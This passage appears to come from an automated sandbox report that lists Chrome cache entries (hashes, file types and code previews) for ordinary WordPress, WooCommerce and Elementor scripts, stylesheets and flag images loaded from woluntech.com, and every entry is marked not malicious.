Preview:	.woocommerce .woocommerce-error .button,.woocommerce .woocommerce-info .button,.woocommerce .woocommerce-message .button,.woocommerce-page .woocommerce-error .button,.woocommerce-page .woocommerce-info .button,.woocommerce-page .woocommerce-message .button{float:right}.woocommerce .col2-set,.woocommerce-page .col2-set{width:100%}.woocommerce .col2-set::after,.woocommerce .col2-set::before,.woocommerce-page .col2-set::after,.woocommerce-page .col2-set::before{content:' ';display:table}.woocommerce .col2-set::after,.woocommerce-page .col2-set::after{clear:both}.woocommerce .col2-set .col-1,.woocommerce-page .col2-set .col-1{float:left;width:48%}.woocommerce .col2-set .col-2,.woocommerce-page .col2-set .col-2{float:right;width:48%}.woocommerce img,.woocommerce-page img{height:auto;max-width:100%}.woocommerce #content div.product div.images,.woocommerce div.product div.images,.woocommerce-page #content div.product div.images,.woocommerce-page div.product div.images{float:left;width:48%}.wo

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1305)
Category:	downloaded
Size (bytes):	1340
Entropy (8bit):	5.249494188222103
Encrypted:	false
SSDEEP:
MD5:	8637362089372427B52FA10A43D8109C
SHA1:	6009BED674718329DCE6055AB09FA95181162D81
SHA-256:	B8E78B48ACC08CE31457AFF168D6FB2C814D51A8739A97693CDBA585D60F5B35
SHA-512:	2674895F82BD2002A0C31C51FC139B01BDD78A22675252D72D99C1310FAA2F31A6A0E32F5A0583AD8A08267369182F84828FA069A57E9EBEE5866F247CCB2571
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/wp-util.min.js?ver=6.0.2
Preview:	/! This file is auto-generated /.window.wp=window.wp\|\|{},function(s){var t="undefined"==typeof _wpUtilSettings?{}:_wpUtilSettings;wp.template=_.memoize(function(e){var a,n={evaluate:/<#([\s\S]+?)#>/g,interpolate:/\{\{\{([\s\S]+?)\}\}\}/g,escape:/\{\{([^\}]+?)\}\}(?!\})/g,variable:"data"};return function(t){return(a=a\|\|_.template(s("#tmpl-"+e).html(),n))(t)}}),wp.ajax={settings:t.ajax\|\|{},post:function(t,e){return wp.ajax.send({data:_.isObject(t)?t:_.extend(e\|\|{},{action:t})})},send:function(n,t){var e,a;return _.isObject(n)?t=n:(t=t\|\|{}).data=_.extend(t.data\|\|{},{action:n}),t=_.defaults(t\|\|{},{type:"POST",url:wp.ajax.settings.url,context:this}),(e=(a=s.Deferred(function(a){t.success&&a.done(t.success),t.error&&a.fail(t.error),delete t.success,delete t.error,a.jqXHR=s.ajax(t).done(function(t){var e;"1"!==t&&1!==t\|\|(t={success:!0}),_.isObject(t)&&!_.isUndefined(t.success)?(e=this,a.done(function(){n&&n.data&&"query-attachments"===n.data.action&&a.jqXHR.hasOwnProperty("getResponseHeader

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15660)
Category:	downloaded
Size (bytes):	18617
Entropy (8bit):	4.746740754378132
Encrypted:	false
SSDEEP:
MD5:	32BEB68A374E3AEAC00ABDF9E12B84EA
SHA1:	B5D18AA625E8696DD9D07CD0869337717B211AE0
SHA-256:	5AAD5FBD4238981A9FF5E2772FF1353DFE1A801FB49542FE157418C1438F7782
SHA-512:	8FC41038B4DC2FC2465422FB3144B71C2ACD2F4552607369314FEC9B7F561B7A3919CDC4219DF2089395241168FFBFE29E67DDDA834E66C27E4C88066C8F4496
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/wp-emoji-release.min.js?ver=6.0.2
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return b(d);return b(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,a){return o(d,function(d){var u,f,c=d,e=x(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,n),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,n,r,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a]

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (301), with no line terminators
Category:	downloaded
Size (bytes):	301
Entropy (8bit):	4.5304841986978825
Encrypted:	false
SSDEEP:
MD5:	71CD2ABFA3D8009C94D90B99E9BC7417
SHA1:	9E0679840B0D91A2B13F8C6C4193E44A64D25E8C
SHA-256:	AFBF9BD3B5380341035C1E36EE627BFBAA1CB5946DAE3A1DC897C179F2DD4A21
SHA-512:	1954B52DE2162B45D820B05FE68084E2859DE1462ED2D724A852609B7A5B426C1DE02582B25EFACAA5DF37B858FCD3E1B474F0AD4E7CB30E65E017B542651524
Malicious:	false
URL:	https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/site-origin.min.css?ver=3.7.9
Preview:	.siteorigin-panels .panel-row-style{z-index:0;position:relative}.siteorigin-panels .siteorigin-panels-stretch{max-width:100%;margin-left:auto!important;margin-right:auto!important}.siteorigin-panels .siteorigin-panels-stretch[data-stretch-type=full]{padding-left:0!important;padding-right:0!important}

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21374)
Category:	downloaded
Size (bytes):	21417
Entropy (8bit):	5.114292128750595
Encrypted:	false
SSDEEP:
MD5:	67C1D82AC2CFD1677A10D157824CCF21
SHA1:	1552A6D961BD0854EBD6B1A4603CAB6BBE511BC7
SHA-256:	6CC88F6ECC4A347B5CEDE85ACA7E298A306AAD67DFD4D80A59E66D254F513BA8
SHA-512:	81E49B2F0842B3010D6651D22530CA78E5477F4E1DD38363D995CF9AF3A8C42D4D21DDA715C6AE9EF2E3913DD262F6AC5563B691E7250ECCC1ADB87074D02DA8
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.7.3
Preview:	/! elementor-pro - v3.7.3 - 31-07-2022 /.(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[819],{2:(e,t,n)=>{"use strict";var s=n(3203);n(4242);var i=s(n(4774)),o=s(n(9575)),r=s(n(6254)),a=s(n(5161)),l=s(n(5039)),c=s(n(9210));class ElementorProFrontend extends elementorModules.ViewModule{onInit(){super.onInit(),this.config=ElementorProFrontendConfig,this.modules={}}bindEvents(){jQuery(window).on("elementor/frontend/init",this.onElementorFrontendInit.bind(this))}initModules(){let e={motionFX:i.default,sticky:o.default,codeHighlight:r.default,videoPlaylist:a.default,payments:l.default,progressTracker:c.default};elementorProFrontend.trigger("elementor-pro/modules/init:before"),elementorProFrontend.trigger("elementor-pro/modules/init/before"),e=elementorFrontend.hooks.applyFilters("elementor-pro/frontend/handlers",e),jQuery.each(e,((e,t)=>{this.modules[e]=new t})),this.modules.linkActions={addAction:function(){elementorFrontend.utils.urlActions.addAction(...argum

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	600
Entropy (8bit):	6.366523294214282
Encrypted:	false
SSDEEP:
MD5:	C4DF867F28F81A3DC04E1D8848DC2D59
SHA1:	89BE3223329FF79E17BF59A80219E48611630C72
SHA-256:	74814916E9407567FEEB8BEB0AE2C82184CC6865AE548B135F27E402F7DAF3FB
SHA-512:	0AF0510B15846DED78D96C5F5BDF3BBF9E765B4E03832565E8A8F37847944FC2B15549FB6B6C95C54CF9AB132A793A6FAA8F7C6B6E21A4BD7C8FC84077491C9F
Malicious:	false
Preview:	.PNG........IHDR.............X.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....PLTE..............a.................................?..n..V......;..y............{.lH.C4.k^.y......C..x.\...#".......?..G....aZ\.............A..9....jS....^D...........xk.]Y.........z....................x...............>......bKGDH........tIME.....:!F.a....zIDAT..c`..FF.4..........$.........$$ ($,"&.$$!)%-#+'..RPTRVQUSG.........G.20426153@.1.[XZY..".eg...$..d#.......;...!..R.......%tEXtdate:create.2022-02-16T12:58:33+00:00.......%tEXtdate:modify.2022-02-16T12:58:33+00:00..m....IEND.B`.

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1668)
Category:	dropped
Size (bytes):	1834
Entropy (8bit):	5.438090839180011
Encrypted:	false
SSDEEP:
MD5:	D0A6D8547C66B0D7B0172466558D1208
SHA1:	FF93916519C7B9483251F609E4D29F38C30A66E3
SHA-256:	3B1384FF918D4B7F95F9EE5C8FC388203DEDFF7344D3D96598C9562162788612
SHA-512:	48BB25B08BFCC9944CD1FC3BD039EA41D1A870F488971839F2891B91710F3FF9EB0B523AA7AB888BF9968BBBCA41A48761405ABBAFC6C6D24927C078049545B8
Malicious:	false
Preview:	/!. JavaScript Cookie v2.1.4. * https://github.com/js-cookie/js-cookie. . Copyright 2006, 2015 Klaus Hartl & Fagner Brack. * Released under the MIT license. /.!function(e){var n,o,t=!1;"function"==typeof define&&define.amd&&(define(e),t=!0),"object"==typeof exports&&(module.exports=e(),t=!0),t\|\|(n=window.Cookies,(o=window.Cookies=e()).noConflict=function(){return window.Cookies=n,o})}(function(){function m(){for(var e=0,n={};e<arguments.length;e++){var o,t=arguments[e];for(o in t)n[o]=t[o]}return n}return function e(C){function g(e,n,o){var t,r;if("undefined"!=typeof document){if(1<arguments.length){"number"==typeof(o=m({path:"/"},g.defaults,o)).expires&&((r=new Date).setMilliseconds(r.getMilliseconds()+864e5o.expires),o.expires=r),o.expires=o.expires?o.expires.toUTCString():"";try{t=JSON.stringify(n),/^[\{\[]/.test(t)&&(n=t)}catch(l){}n=C.write?C.write(n,e):encodeURIComponent(String(n)).replace(/%(23\|24\|26\|2B\|3A\|3C\|3E\|3D\|2F\|3F\|40\|5B\|5D\|5E\|60\|7B\|7D\|7C)/g,decodeURIComponent),e=(

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24339)
Category:	dropped
Size (bytes):	24382
Entropy (8bit):	5.189685977833812
Encrypted:	false
SSDEEP:
MD5:	FF5BBF00D7B5473A5FD1C1E31DFBD84E
SHA1:	A6CBD8A5C28FA9BCAE91E226703EB9772975A083
SHA-256:	C1F2C9125F50003E6BB8B4F64A762F326ECD3F7900211B8F8D62FE9471DACE97
SHA-512:	1DE1103436CEAF71C155D3999E1AA819A2333720DECCD08DA553F713667E8CC7AF58A25F101DF8B3515741C741F7CCEDD260ACEA4E843EFC59CC72F79029C787
Malicious:	false
Preview:	/! elementor-pro - v3.7.3 - 31-07-2022 /."use strict";(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[437],{7996:(e,t,n)=>{var o=n(3203),s=o(n(4042)),r=o(n(8528)),l=o(n(7857)),a=o(n(3184)),d=o(n(7043)),i=o(n(4223)),u=o(n(4231)),c=o(n(2741)),m=o(n(3513)),h=o(n(3002)),f=o(n(8650)),g=o(n(6701)),_=o(n(102)),p=o(n(1748)),v=o(n(5438)),b=o(n(2439)),M=o(n(5032));const extendDefaultHandlers=e=>({...e,...{animatedText:s.default,carousel:r.default,countdown:l.default,hotspot:a.default,form:d.default,gallery:i.default,lottie:u.default,nav_menu:c.default,popup:m.default,posts:h.default,share_buttons:f.default,slides:g.default,social:_.default,themeBuilder:v.default,themeElements:b.default,woocommerce:M.default,tableOfContents:p.default}});elementorProFrontend.on("elementor-pro/modules/init:before",(()=>{elementorFrontend.hooks.addFilter("elementor-pro/frontend/handlers",extendDefaultHandlers)}))},8115:(e,t,n)=>{var o=n(3203);Object.defineProperty(t,"__esModule",{value:!

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	317
Entropy (8bit):	6.672663394694099
Encrypted:	false
SSDEEP:
MD5:	1211611EDFF9FD00D47C7B65543C4243
SHA1:	49913E914FBD1F0D6194A06B4B47AEDB73B86B8B
SHA-256:	F9702551EC8535A7C5BB8187220D0C327E954A2F5F840D1B7D8658FC07DEE194
SHA-512:	8B345F5DC20DDF11CAA1AA8DB5FF419A5AD9BD2B9A0BF63526D830B70EB50F9C7249F3EB056CE78BBB41EDC3967B7CF000FB78AF16F18F69AB119769124171C5
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:04:36 +0100...R....tIME......)..o#....pHYs...........~.....gAMA......a.....IDATx.....0.D..d..@..}..`...)-.G.aX...9.Gs.i........0.aJAkX..EU..O..s......<.R,K......0Q..b.q.9.L.+....6.i....#eN..].v...X...o..$.s....js......n.........IEND.B`.

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	454
Entropy (8bit):	6.823953367731146
Encrypted:	false
SSDEEP:
MD5:	381FD6B928DEBFEB0C34CF68965CBAB6
SHA1:	10A60A2B849310B21258E52B2E105AF358FE6787
SHA-256:	F1F7BDF9F1B3033E414230FEBFF0B9C9967A7EB1C0BFC30C3DADB6C84B50A365
SHA-512:	85735944075B0368A71C787357DC4067CCD25CA588C5CE6A1BC42AE83E416F0EA88DB844D90E3E2F882051FB07C75C75BB831B401D59A39AF721570AD27A78FF
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/vi.png
Preview:	.PNG........IHDR.............o......sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....tIME....../.......1IDAT8Oc.......d.^.,.....~5 ..2......o)...A W.....$..q...O......CF...0...r.H...w. -...\|....2...+.......N@..]...B..n...c"...j....0...........~d........"@W.a.(.n...W]....<`C@..K........z..5.........j.....5...z2....A....-...V......5...y;..g...oH.`.(..e....j...C...{.RX...k.p.'D`,...._.. ..z$y......p....IEND.B`.

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11126)
Category:	downloaded
Size (bytes):	11224
Entropy (8bit):	5.2603128465032745
Encrypted:	false
SSDEEP:
MD5:	79B4956B7EC478EC10244B5E2D33AC7D
SHA1:	A46025B9D05E3DF30D610A8AEF14F392C7058DC9
SHA-256:	029E0A2E809FD6B5DBE76ABE8B7A74936BE306C9A8C27C814C4D44AA54623300
SHA-512:	217F86FEE871FA36ECA4F25830E3917C7BF57A681140B135C508AA32F2A1E3EFF5A80661F3B5BA46747D0C305AF10B658D207F449550F3D417D9683216FEEA8F
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Preview:	/! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!0

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32569)
Category:	dropped
Size (bytes):	32609
Entropy (8bit):	5.293385175362499
Encrypted:	false
SSDEEP:
MD5:	93702100295D778C25763497CCA6523F
SHA1:	F03BBD609B28C89875882A1741EA27C6018F2D59
SHA-256:	DCF3ADD9EE30897E196931DB9947CD4FA29F8B9244B49938F1590ED6FABE4002
SHA-512:	CC149BCBDC12DE0AE5CFFEE3ECF4D545410C43B77D8C377537F1520AAC01E12B49E492F50F3D5674D7AA18B990C0B17C3EA4FFD4DFB1D84040877A35E52991F7
Malicious:	false
Preview:	/! elementor - v3.6.8 - 27-07-2022 /.(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[354],{381:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;t.default=(e,t)=>{t=Array.isArray(t)?t:[t];for(const r of t)if(e.constructor.name===r.prototype[Symbol.toStringTag])return!0;return!1}},8135:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.ViewModule{getDefaultSettings(){return{selectors:{elements:".elementor-element",nestedDocumentElements:".elementor .elementor-element"},classes:{editMode:"elementor-edit-mode"}}}getDefaultElements(){const e=this.getSettings("selectors");return{$elements:this.$element.find(e.elements).not(this.$element.find(e.nestedDocumentElements))}}getDocumentSettings(e){let t;if(this.isEdit){t={};const e=elementor.settings.page.model;jQuery.each(e.getActiveControls(),(r=>{t[r]=e.attributes[r]}))}else t=this.$element.data("elementor-setti

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	266
Entropy (8bit):	6.5012457869057245
Encrypted:	false
SSDEEP:
MD5:	9F8A8F0F1B85F440E39FC26A00856075
SHA1:	148AD1A5329BBE008F3CDE44DFA8DBBD3E78B787
SHA-256:	72AAB8D9E71068FC28F9B353DEB1A0F2CEA7A72CA17B0180947DA983DCF7CE80
SHA-512:	83D6F2215A46C971E831DE0CAF8DF7D0D3230D94593B249543D37855379CF19778C77BAB450F2ACEFEDF85B3A33CEBE8D623994395DD1BFFB25348D57FBD06B1
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.wo 28 dec 2005 12:37:14 +0100..N.....tIME...../."..}....pHYs...........~.....gAMA......a....bIDATx.....0.C3...O.G........S..\Zx.4A...@n....W.@J..:.@.1.9..;..G,.'.W....?..j[5..^u'....$.i..."._..A....IEND.B`.

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6475), with no line terminators
Category:	downloaded
Size (bytes):	6475
Entropy (8bit):	5.004343301463056
Encrypted:	false
SSDEEP:
MD5:	61449413A42D2DAAA79DBE7298B40E21
SHA1:	D86C474164C603084397BDC50FB0E469D28B5772
SHA-256:	F30769EA0B80A5D900C5F0DE30B1AAD1AB461195E69223D5EF63C2C5DE8B6C1A
SHA-512:	3D3A6C00A3CE7CAD3B7131C2DCFD31D651CD5F6D66722605DEAAF44A776AE6D5A532A03C421B9550A05481CE42241F5F23055283DCDFB53E9E2592A4110F3BC2
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.9
Preview:	var runtime=function(t){"use strict";var r,e=Object.prototype,n=e.hasOwnProperty,o=(m="function"==typeof Symbol?Symbol:{}).iterator\|\|"@@iterator",i=m.asyncIterator\|\|"@@asyncIterator",a=m.toStringTag\|\|"@@toStringTag";function c(t,r,e){return Object.defineProperty(t,r,{value:e,enumerable:!0,configurable:!0,writable:!0}),t[r]}try{c({},"")}catch(e){c=function(t,r,e){return t[r]=e}}function u(t,e,n,o){var i,a,c,u;e=e&&e.prototype instanceof g?e:g,e=Object.create(e.prototype),o=new j(o\|\|[]);return e._invoke=(i=t,a=n,c=o,u=l,function(t,e){if(u===s)throw new Error("Generator is already running");if(u===p){if("throw"===t)throw e;return k()}for(c.method=t,c.arg=e;;){var n=c.delegate;if(n&&(n=function t(e,n){var o=e.iterator[n.method];if(o===r){if(n.delegate=null,"throw"===n.method){if(e.iterator.return&&(n.method="return",n.arg=r,t(e,n),"throw"===n.method))return y;n.method="throw",n.arg=new TypeError("The iterator does not provide a 'throw' method")}return y}return"throw"===(o=h(o,e.iterator,n.

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10019)
Category:	downloaded
Size (bytes):	18468
Entropy (8bit):	4.942984129844562
Encrypted:	false
SSDEEP:
MD5:	4601BA55044413706C2022CB6C1C3D05
SHA1:	5103EC2FBB389568EBF5CFE4FD721F3DF2FF7AEC
SHA-256:	FE513EF974B767510D0A2B9F1B4D3AFA53185B89AB617C869E5E3D6DB960192C
SHA-512:	8DAB2D19378E34B40043621AAC57B418E56486DCFEBD1A5991BE8A02EE6B071D07EC6BFD9408DEA8FF0198995DE9D42A46E66513D68B40B68056707E4E691E01
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=3.6.8
Preview:	@keyframes bounce{20%,53%,80%,from,to{animation-timing-function:cubic-bezier(.215,.61,.355,1);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(.755,.050,.855,.060);transform:translate3d(0,-30px,0)}70%{animation-timing-function:cubic-bezier(.755,.050,.855,.060);transform:translate3d(0,-15px,0)}90%{transform:translate3d(0,-4px,0)}}.bounce{animation-name:bounce;transform-origin:center bottom}@keyframes flash{50%,from,to{opacity:1}25%,75%{opacity:0}}.flash{animation-name:flash}@keyframes pulse{from,to{transform:scale3d(1,1,1)}50%{transform:scale3d(1.05,1.05,1.05)}}.pulse{animation-name:pulse}@keyframes rubberBand{from,to{transform:scale3d(1,1,1)}30%{transform:scale3d(1.25,.75,1)}40%{transform:scale3d(.75,1.25,1)}50%{transform:scale3d(1.15,.85,1)}65%{transform:scale3d(.95,1.05,1)}75%{transform:scale3d(1.05,.95,1)}}.rubberBand{animation-name:rubberBand}@keyframes shake{from,to{transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{transform:translate3d(-10px,0,0)}20%,40%

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	232
Entropy (8bit):	6.122750760011859
Encrypted:	false
SSDEEP:
MD5:	E318BC0E21A0E095FC9AFC739DEF99B8
SHA1:	A0596F116DD5A5B55FC227411142DE78FD4789A4
SHA-256:	F0839B8F8000714A6BECDAFE593E9C19CF477EED8882B2F198AA7A0BDBC0F304
SHA-512:	43A750C6DCA73F4EEE492DA6A51D239915D47C0BAFC5F537A9464AC9878C619094D71F9150DA3A96CBDFB3D495E306B1DF00FF7431326065D3E01909D6A73AA5
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 16:32:05 +0100C.......tIME.....&.bL......pHYs...........~.....gAMA......a....@IDATx.c....c.12..01............\|..[mo......`.....?....^......0...........IEND.B`.

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (754), with no line terminators
Category:	dropped
Size (bytes):	754
Entropy (8bit):	4.996986043161646
Encrypted:	false
SSDEEP:
MD5:	AFB55C29BDBCFC262D9FA56743572CAD
SHA1:	D4B6CB9DF2B1B5477CD968FB05CF5FAA1D13D6BF
SHA-256:	C30DAB20B677F2B13F42A4A04385A3C6D380FA023A4A1C32F45F2996E152BFBA
SHA-512:	458D91D1274AF1448E950803384DA02C7896521EF7DC47AC7735A8A37226B5292EBA33DEF05F72F3AD435E2ECF2AFDF5D79A6B7B91D145A2DE3074B0C80997D3
Malicious:	false
Preview:	"use strict";var WPFormsElementorFrontend=window.WPFormsElementorFrontend\|\|function(o,r){var t={init:function(){t.events()},events:function(){r(o).on("elementor/popup/show",function(e,o,n){o=r("#elementor-popup-modal-"+o).find(".wpforms-form");o.length&&t.initFields(o)})},initFields:function(e){wpforms.ready(),"undefined"!=typeof wpformsModernFileUpload&&wpformsModernFileUpload.init(),"undefined"!=typeof wpformsRecaptchaLoad&&("recaptcha"===wpformsElementorVars.captcha_provider&&"v3"===wpformsElementorVars.recaptcha_type?"undefined"!=typeof grecaptcha&&grecaptcha.ready(wpformsRecaptchaLoad):wpformsRecaptchaLoad()),r(o).trigger("wpforms_elementor_form_fields_initialized",[e])}};return t}(document,(window,jQuery));WPFormsElementorFrontend.init();

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.651052547965173
Encrypted:	false
SSDEEP:
MD5:	6E014E24B0D545F1AF67C38E19E1259B
SHA1:	5C31FA78F7F7360EAEE8AE4F008276EC90EC22F4
SHA-256:	9527FD264FE1B68FCEFAF21CC2F2F8B2F8D78990FF26B3AC94A23B5EE0607F2B
SHA-512:	6D181307DE5F9D335CA86E805D1445D3AE1ECBFE2C3163471C8C4D67DBE1EFDA5728CB2EC30C07EA26668F313C167C276E1C6E2553AE8582DBCC62AEF3DB8B4A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATX...kSA...gnn..$Z[./\|..R......Q.....W.....R,.;]h7".n+n...Am..(.d..qQJA.bF....f8\|.\|..o..UU.c.b..g....RF8.#5&.@p.l....8ZN.]4...N4..2...........U.....lg..L..........V.\6....@p....S..d.'5......$...vA.{..ms./.{O..n.lsn......V /..W..G2GE.........^...&..v1.N8:.G.#.....q.."o.\......$D..)......LN{ .L..._ ..3'.W...;.3.Amh...x...vS.......LYQ2...o.".....pvg./{..6........<....... (..t..V\H.....o.j.Bj....E9ap..*........;1..T....I ....R.S..$T:...N.?/..3.....Y.....<xeI.....\.9O.....?.3..(rh.....[.A.Q.z+9.7........y.O....w..;...yN.-....[........+....p^.p}..=).Y.l.....`..P.j1....CK......9......4..,/^7)...az&..^rIx..glY.Em...cpS...c.@7I......8.\|.96.I)..~.....G..X......IEND.B`.

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	272
Entropy (8bit):	6.426337513186419
Encrypted:	false
SSDEEP:
MD5:	07C8FA38921275801505E6F6777C70B7
SHA1:	39FD3E523B26007022430DF03003C6121BF538A5
SHA-256:	1F8F494547CC9F3681169BD29D2B0B61D690703FB5884BD15F92B171BE6F3DCB
SHA-512:	E05DF010BAD6ABDBFFDE112BAD18802A8685471A314A94B4EB4C81BB9C37721CD3735F744092D3B6519A05037E343F628ED3F74FE3A9EE44EFFAE0A30255E0F0
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:03:33 +0100..?.....tIME...... ........pHYs...........~.....gAMA......a....hIDATx..=.. ........2......C'j.....7\|!@./ea.....J)v...U&... .a.x..Q.......{.Z..tN.81.lA4.0u..MVP..<&.,9b.......IEND.B`.

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3037), with no line terminators
Category:	downloaded
Size (bytes):	3037
Entropy (8bit):	5.0276389382892885
Encrypted:	false
SSDEEP:
MD5:	8BC2109EF48CABF7A26B73D7C3536C5F
SHA1:	0E0DFEE3A3975EAFC3DD55F190D1DEB3C6C55D3B
SHA-256:	8634AA7A3AC0BC6D359B458C8922E9D3269F64C1355B329BFE215BEB12773AF8
SHA-512:	D40AFE8509734CB8AA48CD361D68D614B2540A502A9CCFFB76E6138DE25648F8E1800D2D204111A6026246E1FA5D84E5B17772DDA80F215078AE037452B34853
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=6.2.2
Preview:	jQuery(function(d){if("undefined"==typeof wc_add_to_cart_params)return!1;var t=function(){this.requests=[],this.addRequest=this.addRequest.bind(this),this.run=this.run.bind(this),d(document.body).on("click",".add_to_cart_button",{addToCartHandler:this},this.onAddToCart).on("click",".remove_from_cart_button",{addToCartHandler:this},this.onRemoveFromCart).on("added_to_cart",this.updateButton).on("ajax_request_not_sent.adding_to_cart",this.updateButton).on("added_to_cart removed_from_cart",{addToCartHandler:this},this.updateFragments)};t.prototype.addRequest=function(t){this.requests.push(t),1===this.requests.length&&this.run()},t.prototype.run=function(){var t=this,a=t.requests[0].complete;t.requests[0].complete=function(){"function"==typeof a&&a(),t.requests.shift(),0<t.requests.length&&t.run()},d.ajax(this.requests[0])},t.prototype.onAddToCart=function(t){var a=d(this);if(a.is(".ajax_add_to_cart")){if(!a.attr("data-product_id"))return!0;if(t.preventDefault(),a.removeClass("added"),a.ad

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
